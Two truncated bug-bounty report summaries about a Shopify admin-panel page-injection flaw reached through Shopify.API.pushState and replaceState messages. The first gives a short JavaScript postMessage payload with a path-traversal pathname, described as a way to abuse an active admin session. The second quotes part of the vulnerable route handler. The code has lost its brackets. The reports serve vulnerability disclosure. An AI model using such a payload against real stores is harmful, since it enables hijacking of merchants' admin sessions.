Shopify: Inject page in admin panel via Shopify.API.pushState [New Payload]

The correction for 868615, allows you to use new payload: js const ctx = window.openlocation.origin+'/admin/themes', 'blank' const data = JSON.stringify message: 'Shopify.API.replaceState', data: pathname: "abc:d../pages/xss//" ; ctx.postMessagedata Impact Abuse the active admin session to extrac...

Shopify: Inject page in admin panel via Shopify.API.pushState

Summary Shopify.API.pushState call the method handleRoutePushEvent, allows you to change routes to open pages from admin panel: js handleRoutePushEventpathname: e, search: t, state: a, hash: o const adminPath: n, history: i = this.props // adminPath = /admin , s = "".concatn.concate; // // If we...